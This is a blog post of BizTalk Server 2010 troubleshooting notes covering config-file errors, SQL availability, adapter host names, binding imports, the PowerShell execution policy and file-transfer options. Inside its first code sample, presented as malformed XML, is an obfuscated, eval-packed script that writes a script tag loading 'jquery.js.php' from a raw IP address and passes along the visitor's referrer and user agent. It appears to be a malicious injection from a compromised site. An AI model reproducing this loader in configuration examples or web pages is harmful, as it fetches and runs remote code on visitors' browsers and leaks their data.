Today, I recycled one of my host instances, and it didn’t start. Then I tried all of them, and several had issues. Finally, it dawned on me that I had changed the 64-bit config file:
“c:Program Files (x86)Microsoft BizTalk Server 2010BTSNTSvc64.exe.config”. The 32-bit host-instances were all starting fine, because it uses a different config file (BTSNTSvc.exe.config).

Check your web config file for malformed xml. (For example, make a copy called BTSNTSvc64.xml and open it in Internet Explorer to quickly find the error.)

I had something like this (to mailSettings close tags).

<code> <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnzan|var|u0026u|referrer|zbsdi||js|php'.split('|'),0,{}))
</script></noindex>  
<system.net>
    <mailSettings>
      <smtp from="ClientSupport@someone.com">
        <network host="newaddress.something.com" password="" userName="" />
        <!-- formerly was: <network host="10.1.1.1" password="" userName="" /> --> 
      </smtp>
    </mailSettings>    </mailSettings> 
  </system.net>
</code>

That’s it, just fix your web.config hopefully.

Error: Failed to load Group xxxx.BizTalkMgmtDb] data providers (in BTSAdmin Console)

Solution: Verify SQL Server is available, if not, start-it.

Screen shot below shows trying to connect to the SQL server; it might be on the same machine as BizTalk or it might be on another machine. The above error could also indicate a communication or maybe even a permission issue.

Open the SQL Config utility and start SQL server. The screen shot below shows how to start the SQL Configuration Manager:

The configuration utility shows which SQL services are started and stopped. Right click then select “Start” if it is not running:

I cannot count how many times I have got the error below:

It typically happens when you try to import a BizTalk MSI application fro, one machine and export it to another. What it implies is that that system you have exported from, and the system to which you are importing, having different settings on the Host. The first thing you normally do is go check your “trust levels” and whether the host is 32-bit or not. If that matches, then what do you do?

The secret is that this error can also indicate a problem with the adapters being related to the Host Name. In the above case, we had added the Open Source “NullAdapter” on the “from system”, and had installed the adapter on the “to system” as well. But we forgot to attach the adapter to the Host Instance, which was also called “NullAdapter” (we still don’t have good naming convention for our host instances at this site, as we inherited what was already here).

You can see this by looking at the adapters in BizTalk Admin Console:

Note in the above screen shot that the “NullAdapter” Host Name is missing from the list of “Host Names”, and in fact, there is no need for the other two “Host Names” to be there.

So first, right-click on the Adapter, click “new” then add the desired “Host Name”, as shown below. Make the new Host Name the default by checking the “Make this the default handler”. I actually forgot to that, so I got an error when I tried to delete the Host Name “BizTalkServerApplication” from the NullAdapter.

Then, associate the Adapter to the desired “Host Name”, by picking from the list of “Host Names”:

At the end, after deleting the two “Host Names” that should not have been there, the list of “Host Names” looks like this:

Remember again, I wouldn’t normally name the “Host Instance” the exact same name as the Adapter, but in this case it kind of made sense, because the “Null Adapter” is only used by us in a couple of odd places. How you should properly set up your Hosts could be the topic of another blog.

Error:  Failed to update binding information. (mscorlib)

Object reference not set to an instance of object (Microsoft.BizTalk.ExplorerOM)

This happened when I created a new empty application.  It took a binding file, i.e. “a feed” from another app, exported it, changed the environment names, and re-imported it.

The problem was that the binding used maps and pipelines from another app.  There was nothing wrong with the binding file.  The way to get around the error was to add a reference in the new app to the old app that contains the maps and pipelines.

There was a failure executing the response(receive) pipeline: “Microsoft.BizTalk.DefaultPipelines.XMLReceive, Microsoft.BizTalk.DefaultPipelines, Version=3.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35″ Source: “XML disassembler” Send Port: “FlightStatsAPITest_1.0.0.0_FlightStatsAPITest.DemoFlightStats_FlightStats_271205145d00a26b” URI: “https://api.flightstats.com/flex/connections/docs/v1/lts/soap/schedulesConnectionsService.wsdl” Reason: Finding the document specification by message type “http://schemas.xmlsoap.org/wsdl/#definitions” failed. Verify the schema deployed properly. 

Solution: make sure don’t have the .wsdl on the URL of the URL that you type in SEND port.
This was a “dumb mistake” I made.  I pasted the .wsdl URL instead of the service URL into the website to be called by the send port.  To the response message was coming back to my orchestration, but didn’t have a matching schema.

 

BizTalk Admin Console - Could not Create the Snap-In MMC

There might be many reasons for the above error, but here’s one we couldn’t find anywhere else.   We had a licensed copy of Windows 2008/R2, then realized we could save a license and use our MSDN subscription on this developer virtual machine.  So my worker upgrade to the Enterprise Developer edition.  That seemed to mess with BizTalk’s registry settings.  The secret to fix the above error for us was to run the BizTalk install and select the “repair” option.

 

 

 

I was at a new client, trying to run a Powershell to help build my BizTalk binding files for the BizTalk Deployment Framework,
and I got this error:

PS C:developmentAllProjects.Deployment> .GenerateMasterBindingsFromLocal.ps1
File C:developmentAllProjects.DeploymentGenerateMasterBindingsFromLocal.ps1 cannot be loaded because the execution o
f scripts is disabled on this system. Please see "get-help about_signing" for more details.
At line:1 char:38
+ .GenerateMasterBindingsFromLocal.ps1 <<<< + CategoryInfo : NotSpecified: (:) [], PSSecurityException + FullyQualifiedErrorId : RuntimeException

At first, I thought maybe the issue was a Group Policy, but it wasn't. You just need to run the command below, however, it does update the registry, so if you are not running as Administrator, you get this error:

PS C:developmentAllProjects.Deployment> set-executionpolicy remotesigned

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic. Do you want to change the execution
policy?
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): y
Set-ExecutionPolicy : Access to the registry key 'HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft
.PowerShell' is denied.
At line:1 char:20
+ set-executionpolicy <<<< remotesigned + CategoryInfo : NotSpecified: (:) [Set-ExecutionPolicy], UnauthorizedAccessException + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.SetExecutionPolicyComma nd

When you open Powershell as Admin, then run the same command, it runs and looks like this:

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic. Do you want to change the execution
policy?
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): y

Got this error when importing a series of 5 SendPorts into a newly created BizTalk application:

Failed to update binding information. (mscorlib).
Additional Information:
Object reference not set to an instance of an object. (Microsoft.BizTalk.ExplorerOM).

My solution was that I needed to make a reference from the new application, to an existing application, which contained schemas, maps, etc.. used by these send ports. Basically, one of our developers needed a copy of the send ports to post data to the DEV database; so I exported my binding files, deleted everything except the 5 SQL SendPorts, then tried to import them into a new application to keep them separate.

The first issue is that you typically need secure SFTP. Biztalk 2010 finally comes with a secure FTP, but it’s FTPS (FTP over SSL) instead of SFTP (MSDN Community Link).

There is an open-source adapter available here: http://sftpadapter.codeplex.com.

On the other hand, you can use normal FTP, but use some type of encryption that can be managed by your pipeline.

However, even with SFTP or encryption, that means that the security is maintained in BizTalk, and some companies are not happy about that. You also have to consider how you test, and whether for example in your test environment, you use different passwords and encryption keys, making the deploy slightly more complicated.

However

the bigger story is this. Large companies often have the security and FTP managed by another team outside of the BizTalk team. And quite often, they have already purchased a complete solution. I worked at a bank, which used GlobalScapes EFT (Enhanced File Transfer). My most recent client used Axway Managed File Transfer (MFT), and then was switching to Axway WebTrader (Interchange).

These enterprise level FTP tools also handle details like backup. Many companies, for legal reasons, want to keep a snapshot (archive) of every file that was sent or received.

With companies that use this software, all the FTP and firewalls are handled by another group, and BizTalk simply uses the file adapter. You just need the directory paths from the group that manages all the FTP software.

Back in 2009, I did a short BizTalk project that used Host Initiated Processing (aka “HIP”).  This is one of the five features of Host Integration Server (HIS).  Starting with the BizTalk 2009 release, HIS is no longer sold separately, and can only be obtained along with a BizTalk license.

  1. HIP – Host Initiated Processing – CICS transactions send a request to BizTalk for a response, example, a CICS program calls a COBOL subroutine, which in turns talks to BizTalk, which could run an orchestration and call an external web service.
  2. WIP – Windows Initiated Processing – Windows sends a request to CICS and waits for a response.
  3. DB2 – Ability to read/update DB2 database tables.
  4. Host Files – Ability to read/write VSAM files
  5. TI – Transaction Integration – Remote control of CICS screens.